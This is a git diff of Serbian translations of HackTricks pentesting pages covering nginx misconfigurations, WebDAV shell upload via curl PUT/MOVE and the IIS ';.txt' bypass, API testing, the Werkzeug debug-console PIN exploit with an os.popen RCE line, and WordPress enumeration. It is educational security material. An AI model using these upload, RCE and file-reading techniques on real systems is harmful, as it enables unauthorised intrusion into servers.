-213,14 +213,14 @@ resolver 8.8.8.8; ``` ### **`proxy_pass` и `internal` Директиве** -Директива **`proxy_pass`** се koristi za preusmeravanje zahteva ka drugim serverima, bilo interno ili eksterno. **`internal`** dirlketiva osigurava da određene lokacije budu dostupne samo unutar Nginx-a. Iako same po sebi ove dirlketive nisu ranjivosti, njihova konfiguracija zahteva pažljivu analizu kako bi se sprečile bezbednosne propuste. +Директива **`proxy_pass`** се koristi za preusmeravanje zahteva ka drugim serverima, bilo interno ili eksterno. **`internal`** директива osigurava da određene lokacije budu dostupne samo unutar Nginx-a. Iako same po sebi ove dve diktive nisu ranjivosti, njihova konfiguracija zahteva pažljivo ispitivanje kako bi se sprečili sigurnosni propusti. ## proxy\_set\_header Upgrade & Connection -Ako je nginx server konfigurisan da prosleđuje zaglavlja Upgrade i Connection, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim krajnjim tačkama. +Ako je nginx server konfigurisan da prosleđuje zaglavlja Upgrade i Connection, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim endpointima. {% hint style="danger" %} -Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa krajnjom tačkom `proxy_pass`** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveren od strane nginx-a. +Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa `proxy_pass` endpointom** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveren od strane nginx-a. {% endhint %} Primer ranjive konfiguracije za krađu `/flag` možete pronaći [ovde](https://bishopfox.com/blog/h2c-smuggling-request): @@ -244,12 +244,12 @@ deny all; } ``` {% hint style="warning" %} -Imajte na umu da čak i ako je `proxy_pass` usmeren ka određenom **putanji** poput `http://backend:9999/socket.io` veza će biti uspostavljena sa `http://backend:9999` tako da možete **kontaktirati bilo koju drugu putanju unutar tog internog krajnjeg tačke. Dakle, nije važno da li je putanja navedena u URL-u proxy\_pass.** +Imajte na umu da čak i ako je `proxy_pass` usmeren na određeni **put** poput `http://backend:9999/socket.io` veza će biti uspostavljena sa `http://backend:9999` tako da možete **kontaktirati bilo koji drugi put unutar tog internog krajnjeg tačke. Dakle, nije važno da li je put naveden u URL-u proxy\_pass.** {% endhint %} ## Probajte sami -Detectify je kreirao GitHub repozitorijum gde možete koristiti Docker da postavite svoj ranjivi Nginx test server sa nekim od konfiguracionih grešaka koje su diskutovane u ovom članku i pokušati da ih pronađete sami! +Detectify je kreirao GitHub repozitorijum gde možete koristiti Docker da postavite svoj sopstveni ranjivi Nginx test server sa nekim od konfiguracionih grešaka koje su diskutovane u ovom članku i pokušati da ih pronađete sami! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) @@ -257,7 +257,7 @@ Detectify je kreirao GitHub repozitorijum gde možete koristiti Docker da postav ### [GIXY](https://github.com/yandex/gixy) -Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy-ja je sprečavanje bezbednosnih konfiguracionih grešaka i automatizacija otkrivanja propusta. +Gixy je alat za analizu Nginx konfiguracije. Glavni cilj Gixy-ja je sprečavanje bezbednosnih konfiguracija i automatizacija otkrivanja grešaka. ### [Nginxpwner](https://github.com/stark0de/nginxpwner) @@ -269,9 +269,9 @@ Nginxpwner je jednostavan alat za traženje uobičajenih Nginx konfiguracionih g * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) * [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
+
-**Instantno dostupna postavka za procenu ranjivosti & testiranje proboja**. Pokrenite pun pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupna postavka za procenu ranjivosti & testiranje prodiranja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index 1e0d28c30..8ebfd5f2e 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,9 +1,9 @@ # WebDav -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -14,7 +14,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -22,26 +22,26 @@ Drugi načini podrške HackTricks-u: -Kada se bavite **HTTP serverom sa omogućenim WebDav-om**, moguće je **manipulisati fajlovima** ako imate odgovarajuće **kredencijale**, obično proverene putem **HTTP Basic autentikacije**. Preuzimanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**. +Kada se bavite **HTTP serverom sa omogućenim WebDav-om**, moguće je **manipulisati fajlovima** ako imate odgovarajuće **kredencijale**, obično proverene putem **HTTP Basic autentikacije**. Dobijanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**. Pristup WebDav serveru obično zahteva **validne kredencijale**, pri čemu je [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) čest metod za njihovo dobijanje. -Da biste prevazišli ograničenja u vezi sa upload-om fajlova, posebno ona koja sprečavaju izvršavanje serverskih skripti, možete: +Da biste prevazišli ograničenja u vezi sa upload-om fajlova, posebno ona koja sprečavaju izvršavanje server-side skripti, možete: * **Upload-ovati** fajlove sa **izvršnim ekstenzijama** direktno ako nisu ograničeni. -* **Preimenovati** upload-ovane neizvršne fajlove (kao što su .txt) u izvršnu ekstenziju. +* **Preimenovati** upload-ovane neizvršne fajlove (kao .txt) u izvršnu ekstenziju. * **Kopirati** upload-ovane neizvršne fajlove, menjajući njihovu ekstenziju u jednu koja je izvršna. ## DavTest -**Davtest** pokušava da **upload-uje nekoliko fajlova sa različitim ekstenzijama** i **proverava** da li se ekstenzija **izvršava**: +**Davtest** pokušava da **upload-uje nekoliko fajlova sa različitim ekstenzijama** i **proveri** da li se ekstenzija **izvršava**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ## Cadaver -Možete koristiti ovaj alat da se povežete na WebDav server i izvršavate akcije (kao što su **upload**, **move** ili **delete**) **ručno**. +Možete koristiti ovaj alat da se povežete na WebDav server i izvršite akcije (kao što su **upload**, **move** ili **delete**) **ručno**. ``` cadaver ``` @@ -53,19 +53,19 @@ curl -T 'shell.txt' 'http://$ip' ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## IIS5/6 WebDav Ranjivost -Ova ranjivost je veoma interesantna. **WebDav** ne dozvoljava **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Međutim, možete to **zaobići** dodavanjem na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**). +Ova ranjivost je vrlo interesantna. **WebDav** **ne dozvoljava** da se **učitavaju** ili **preimenuju** fajlovi sa ekstenzijom **.asp**. Međutim, možete to **zaobići** dodavanjem na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**). -Zatim možete **uploadovati** svoj shell kao ".**txt" fajl** i **kopirati/pomeriti ga u ".asp;.txt"** fajl. Pristupanjem tom fajlu preko web servera, on će biti **izvršen** (cadaver će reći da akcija pomeranja nije uspela, ali jeste). +Zatim možete **učitati** svoj shell kao ".**txt fajl**" i **kopirati/pomeriti ga u ".asp;.txt"** fajl. Pristupajući tom fajlu preko veb servera, on će biti **izvršen** (cadaver će reći da akcija pomeranja nije uspela, ali jeste). ![](<../../.gitbook/assets/image (18) (1) (1).png>) @@ -85,13 +85,13 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Kao što možete videti, postoje datoteke sa validnim **poverljivim informacijama** za **webdav** server: +Kao što možete videti, postoje datoteke sa validnim **poverljivim podacima** za **webdav** server: ``` /etc/apache2/users.password ``` -U ovom tipu fajlova ćete pronaći **korisničko ime** i **hash** lozinke. Ovo su pristupni podaci koje webdav server koristi za autentifikaciju korisnika. +U ovom tipu datoteka pronaći ćete **korisničko ime** i **hash** lozinke. Ovo su pristupni podaci koje webdav server koristi za autentifikaciju korisnika. -Možete pokušati da ih **dekriptujete**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** webdav serveru: +Možete pokušati da ih **dekriptujete**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` @@ -109,15 +109,15 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md index 2f5f710c4..3f895de5b 100644 --- a/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u: -
+
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ Dobijte pristup danas: @@ -44,7 +44,7 @@ Testiranje API-ja uključuje strukturiran pristup otkrivanju ranjivosti. Ovaj vo * **Manipulacija Parametrima**: Eksperimentišite sa dodavanjem ili zamenom parametara u zahtevima kako biste pristupili neovlašćenim podacima ili funkcionalnostima. * **Testiranje HTTP Metoda**: Varirajte metode zahteva (GET, POST, PUT, DELETE, PATCH) kako biste otkrili neočekivano ponašanje ili otkrivanje informacija. * **Manipulacija Tipom Sadržaja**: Prebacujte se između različitih tipova sadržaja (x-www-form-urlencoded, application/xml, application/json) kako biste testirali probleme sa parsiranjem ili ranjivosti. -* **Napredne Tehnike Parametara**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili se igrajte sa XML podacima za XXE ubacivanja. Takođe, pokušajte sa zagađivanjem parametara i wildcard karakterima za širi testiranje. +* **Napredne Tehnike Parametara**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili igrajte se sa XML podacima za XXE ubacivanja. Takođe, pokušajte sa zagađivanjem parametara i wildcard karakterima za širi testiranje. * **Testiranje Verzija**: Starije verzije API-ja mogu biti podložnije napadima. Uvek proverite i testirajte protiv više verzija API-ja. ### **Alati i Resursi za Testiranje API-ja** @@ -61,7 +61,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ### **Resursi za učenje i vežbanje** * **OWASP API Security Top 10**: Osnovno štivo za razumevanje uobičajenih ranjivosti API-ja ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -* **API Security Checklist**: Kompletna lista za osiguravanje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +* **API Security Checklist**: Kompletna lista za obezbeđivanje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). * **Logger++ Filters**: Za pronalaženje ranjivosti API-ja, Logger++ nudi korisne filtere ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). * **Lista API Endpoints**: Odabrana lista potencijalnih API endpointa za testiranje ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). @@ -71,7 +71,7 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
-Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -82,10 +82,10 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md index 00df04fc4..79fcb6f65 100644 --- a/network-services-pentesting/pentesting-web/werkzeug.md +++ b/network-services-pentesting/pentesting-web/werkzeug.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u: -
+
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. @@ -28,13 +28,13 @@ __import__('os').popen('whoami').read(); ``` ![](<../../.gitbook/assets/image (317).png>) -Takođe postoje brojni eksploiti na internetu poput [ovog ](https://github.com/its-arun/Werkzeug-Debug-RCE)ili jedan u metasploit-u. +Takođe postoje različiti eksploiti na internetu poput [ovog ](https://github.com/its-arun/Werkzeug-Debug-RCE)ili jedan u metasploit-u. ## Pin zaštićen - Traversiranje putanje -U nekim prilikama, **`/console`** endpoint će biti zaštićen pinom. Ako imate **ranjivost traverziranja datoteka**, možete procuriti sve potrebne informacije za generisanje tog pina. +U nekim slučajevima, **`/console`** endpoint će biti zaštićen pinom. Ako imate **ranjivost traverziranja datoteka**, možete procuriti sve potrebne informacije za generisanje tog pina. -### Eksploatacija Werkzeug konzole PIN-a +### Eksploatacija PIN-a Werkzeug konzole Prisilite grešku u debagiranju aplikacije da biste videli ovo: ``` @@ -42,13 +42,13 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -Poruka u vezi sa scenarijem "zaključane konzole" se susreće prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda na repozitorijumu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog potencijalnih razlika u verzijama. +Poruka u vezi sa scenarijem "zaključane konzole" se pojavljuje prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda na repozitorijumu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog mogućih razlika u verzijama. Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably_public_bits` i `private_bits`: #### **`probably_public_bits`** -* **`username`**: Odaje na korisnika koji je pokrenuo Flask sesiju. +* **`username`**: Odaje korisnika koji je pokrenuo Flask sesiju. * **`modname`**: Obično označen kao `flask.app`. * **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalno se rešava u **Flask**. * **`getattr(mod, '__file__', None)`**: Predstavlja puni put do `app.py` unutar Flask direktorijuma (npr. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ako `app.py` nije primenljiv, **pokušajte sa `app.pyc`**. @@ -56,7 +56,7 @@ Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably #### **`private_bits`** * **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, sa `str(uuid.getnode())` prevodi je u decimalni format. -* Da biste **odredili MAC adresu servera**, morate identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr. `ens3`). U slučaju neizvesnosti, **procuretajte `/proc/net/arp`** kako biste pronašli ID uređaja, zatim **izdvojite MAC adresu** iz **`/sys/class/net//address`**. +* Da biste **odredili MAC adresu servera**, morate identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr. `ens3`). U slučaju neizvesnosti, **procuretajte `/proc/net/arp`** da biste pronašli ID uređaja, zatim **izdvojite MAC adresu** iz **`/sys/class/net//address`**. * Konverziju heksadecimalne MAC adrese u decimalni format možete izvršiti na sledeći način: ```python @@ -165,9 +165,9 @@ Ako koristite **staru verziju** Werkzuga, pokušajte promeniti **algoritam heši * [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) * [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 8edd4c83f..5c9e7f268 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u: -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ @@ -25,28 +25,28 @@ Dobijte pristup danas: ## Osnovne informacije **Postavljene** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ -**Datoteke tema se mogu naći u /wp-content/themes/,** pa ako promenite neki php fajl teme da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** fajlu **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ +**Datoteke tema se mogu pronaći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** datoteci **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ **Još jedan koristan URL bi mogao biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) U **wp-config.php** datoteci možete pronaći root lozinku baze podataka. -Podrazumevane putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Glavne WordPress datoteke** * `index.php` -* `license.txt` sadrži korisne informacije poput verzije WordPress-a koji je instaliran. +* `license.txt` sadrži korisne informacije poput verzije instaliranog WordPress-a. * `wp-activate.php` se koristi za proces aktivacije e-pošte prilikom postavljanja nove WordPress stranice. * Login folderi (mogu biti preimenovani da bi se sakrili): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` * `/wp-login.php` -* `xmlrpc.php` je fajl koji predstavlja funkciju WordPress-a koja omogućava prenos podataka HTTP-om kao mehanizmom prenosa i XML-om kao mehanizmom enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +* `xmlrpc.php` je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao mehanizma prenosa i XML-a kao mehanizma enkodiranja. Ovaj tip komunikacije zamenjen je WordPress [REST API](https://developer.wordpress.org/rest-api/reference). * Folder `wp-content` je glavni direktorijum gde se čuvaju dodaci i teme. -* `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi koji su postavljeni na platformu. -* `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, poput sertifikata, fontova, JavaScript fajlova i vidžeta. -* `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama. +* `wp-content/uploads/` je direktorijum gde se čuvaju sve datoteke koje su postavljene na platformu. +* `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, poput sertifikata, fontova, JavaScript datoteka i vidžeta. +* `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML datoteku sa svim javnim postovima i javno pretraživim tipovima postova i taksonomijama. **Post eksploatacija** @@ -57,7 +57,7 @@ Podrazumevane putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-log * **Administrator** * **Urednik**: Objavljuje i upravlja svojim i tuđim postovima * **Autor**: Objavljuje i upravlja svojim postovima -* **Saradnik**: Piše i upravlja svojim postovima ali ih ne može objaviti +* **Saradnik**: Piše i upravlja svojim postovima, ali ih ne može objaviti * **Pretplatnik**: Pregleda postove i uređuje svoj profil ## **Pasivno nabrajanje** @@ -92,11 +92,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` ### Dobijanje Tema -{% code overflow="wrap" %} +{% endcode %} ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Izdvajanje verzija uopšteno +### Izdvajanje verzija općenito {% endcode %} ```bash @@ -105,17 +105,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ``` {% endcode %} -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Aktivno nabrajanje -### Dodaci i teme +### Dodaci i Tema Verovatno nećete moći da pronađete sve moguće Dodatke i Teme. Da biste otkrili sve od njih, moraćete **aktivno Brute Force-ovati listu Dodataka i Tema** (srećom, postoje automatizovani alati koji sadrže ove liste). @@ -145,7 +145,7 @@ Takođe, napomena da **/wp-json/wp/v2/pages** može otkriti IP adrese. #### Enumeracija korisničkih imena za prijavljivanje -Prilikom prijave na **`/wp-login.php`** poruka je **različita** ako je naznačeno da li korisničko ime postoji ili ne. +Prilikom prijavljivanja na **`/wp-login.php`** poruka je **različita** ako je navedeno **korisničko ime postoji ili ne**. ### XML-RPC @@ -162,9 +162,9 @@ Da biste videli da li je aktivan, pokušajte 